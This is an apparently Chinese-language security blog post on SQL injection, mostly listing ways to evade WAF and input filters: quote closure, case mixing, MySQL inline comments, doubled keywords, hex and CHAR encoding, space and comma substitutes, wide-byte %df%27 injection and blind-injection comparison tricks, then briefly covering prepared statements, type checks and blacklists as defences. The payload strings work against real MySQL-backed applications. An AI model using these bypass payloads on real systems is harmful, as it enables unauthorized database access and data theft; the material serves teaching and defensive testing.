• sql注入(三)绕过方法及防御手段


    一、sql注入的绕过方法

    1.注释符过滤绕过

    常用的注释符有:

    1)-- 注释内容

    2)# 注释内容

    3)/* 注释内容 */

    绕过方法

    构造闭合:

    ?id=1' and sql语句 and '1'='1

    这样接收源码前面的引号被 id=1' 中的后引号所闭合,源码中的后引号会被 '1'='1 中的前引号所闭合所以这样不用注释符就逃逸出引号。

    2.大小写绕过

    常用于 waf 的正则对大小写不敏感的情况。

    uniOn selEct 1,2

    3.内联注释绕过

    当一些关键语句被过滤时,内联注释就是把一些特有的仅在 mysql 上的语句放在 /*!  */中,这样这些语句如果在其它数据库中是不会被执行,但在 mysql 中会执行。

    ?id=1' union /*!select*/ 1,2

    eg:  

    4.双写关键字绕过

    一些简单的 waf 中,将关键字 select 等只使用 replace () 函数置换为空,这时候可以使用双写关键字绕过。

    eg:

    1. union seselectlect 1,2
    2. #会将中间的 select 过滤掉之后将 se 与 lect 合并形成新的select

    5.编码绕过

    可以绕过引号过滤

    1)十六进制绕过

    eg:

    ?id=1' unino select 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B

    这里演示的是当引号被过滤后,可以使用十六进制来写表名这样在调用时表名会被直接调用使用。

    2)ascii 编码绕过

    就是使用ascii 编码来替换需要引号引用的内容

    eg:

    Test =CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

    6.空格过滤绕过

    可代替空格的方式:

    1)/**/

    2)()

    4)`(tap 键上面的按钮)

    5)tap

    eg:

    1. union/**/select/**/1,2
    2. select(passwd)from(users) # 注意括号中不能含有 *

    7.过滤掉过滤 or and xor (异或) not 绕过

    可以用符号进行替代

    and = &&、or = ||、xor = |、not = !

    8.过滤等号(=)绕过

    1)like、rlike

    不加通配符的 like 执行的效果和 = 一致,所以可以用来绕过。

    rlike 模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来,用来取代 = 时,rlike 的用法和上面的 like 一样,没有通配符效果和 = 一样

    eg:

    select * from users where id like 1;
    

     2)regexp

    MySQL 中使用 REGEXP 操作符来进行正则表达式匹配

    eg:

    UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name regexp 'users'

    9. 过滤大小于号绕过

    在 sql 盲注中,一般使用大小于号来判断 ascii 码值的大小来达到爆破的效果。

    1)greatest (n1, n2, n3…): 返回 n 中的最大值

    1. select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116
    2. #这里的 greatest(函数,1)是用与比较取出其中最大的值用于爆破

    2)least (n1,n2,n3…): 返回 n 中的最小值,与上同理。

     3)strcmp (str1,str2): 若所有的字符串均相同,则返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1

    eg:

    select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117)

    4)in 关键字

    用于判断列名中是否存在此关键字,常用于布尔盲注

    eg:

    1. select * from users where id = 1 and substr(user(),1,1) in ('r')
    2. #表示查询user()中id = 1的行的第一个字符是否为 r

    10. 过滤引号绕过

    1)使用编码绕过(16进制/ascii)

    eg:

    ?id=1' unino select 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B

    这里演示的是当引号被过滤后,可以使用十六进制来写表名这样在调用时表名会被直接调用使用。

    2)宽字节注入

    常用在 web 应用使用的字符集为 GBK 时,并且过滤了引号(一般为被函数转义的的过滤),就可以试试宽字节。

    eg:

    %df%27 union select 1,2,3

    11.过滤逗号绕过

    1)如果 waf 过滤了逗号,并且只能盲注,在取子串的几个函数中,有一个替代逗号的方法就是使用 from  for ,其中 pos 代表从 pos 个开始读取 len 长度的子串

    eg:常规写法 select substr ("string",1,3)

    若过滤了逗号,可以使用 from  for 来取代 select substr ("string" from 1 for 3)

     eg:

    select ascii (substr(user() from 1 for 1)) > 110

    2)也可使用 join 关键字来绕过

    适用于联合查询起别名的方式

    eg:

    select * from users union select * from (select 1)a join (select 2)b join(select 3)c

    上式等价于 union select 1,2,3

    3)使用 like 关键字,适用于 substr () 等提取子串的函数中的逗号(适用于盲注)

    select user() like "r%"

    上式等价于 select ascii (substr (user (),1,1))=114

     4)使用 offset 关键字,适用于 limit 中的逗号被过滤的情况

    eg:

    select * from users limit 1 offset 2

    上式等价于 select * from users limit 2,1

    不同点在于使用逗号是从行号在前进行截取,使用 offset 关键字是行号在后进行截取。

    12、过滤函数绕过

    1)sleep()

    可以使用benchmark()函数进行替代

    MySQL 有一个内置的benchmark()函数,可以测试某些特定操作的执行速度。

    2)substr (),substring (),mid () 可以相互取代, 取子串的函数还有 left (),right ()

    3)ord ()–>ascii (): 这两个函数在处理英文时效果一样,但是处理中文等时不一致。

    二、sql注入的防御手段 、

    1)预编译

    预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的SQL 引擎进行解析为 AST Opcode ,第二次交互发送数据,代入AST Opcode 中执行,无论后续向模板传入什么参数,这些参数仅仅被当成字符串进行查询处理,因此杜绝了sql 注入的产生。
    也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划 ,也就是说, 后面你输入的参数,无论你输入的是什么,都 不会影响该sql语句的语法结构了 ,因为语法分析已经完成了,而语法分析主要是分析sql命令,比如 select ,from ,where ,and, or ,order by 等等。所以即使你后面输入了这些sql命令,也不会被当成sql命令来执行了, 因为这些sql命令的执行, 必须先的通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为sql命令来执行的, 只会被当做字符串字面值参数

    2)检查数据类型

    检查输入数据的类型在很大程度上可以限制SQL注入。例如对于book_id的查询,我们就可以限制其为数字,不允许插入其他类型的数据类型。或者对用户的输入信息进行严格的过滤,比如日期、年份等格式进行严格限制。均可以防御一些恶意注入。

    当然,如果用户必须提交一段字符,那么此时我们就需要使用安全函数,或者一些waf实现对sql注入的防御了
     

    3)设置黑名单

    目的是对用户输入的命令进行严格过滤,也可以通过正则表达式进行过滤,但有可能会因为过滤的信息不全导致的过滤失败。

  • 相关阅读:
    KMP算法(求解字符串匹配)
    鸿蒙系统扫盲(一):鸿蒙OS和开源鸿蒙什么关系?
    微信@all bug复现及原理分析
    外包干了一个月,技术明显进步。。。。。
    spring cache (ehcache方式)
    基于51单片机的红外遥控器设计
    联邦学习:联邦场景下的多源知识图谱嵌入
    【Pytorch Lighting】第 7 章:半监督学习
    【学习笔记】ARC150/ARC151
    go1.18泛型的简单尝试
  • 原文地址:https://blog.csdn.net/m0_63306943/article/details/130448875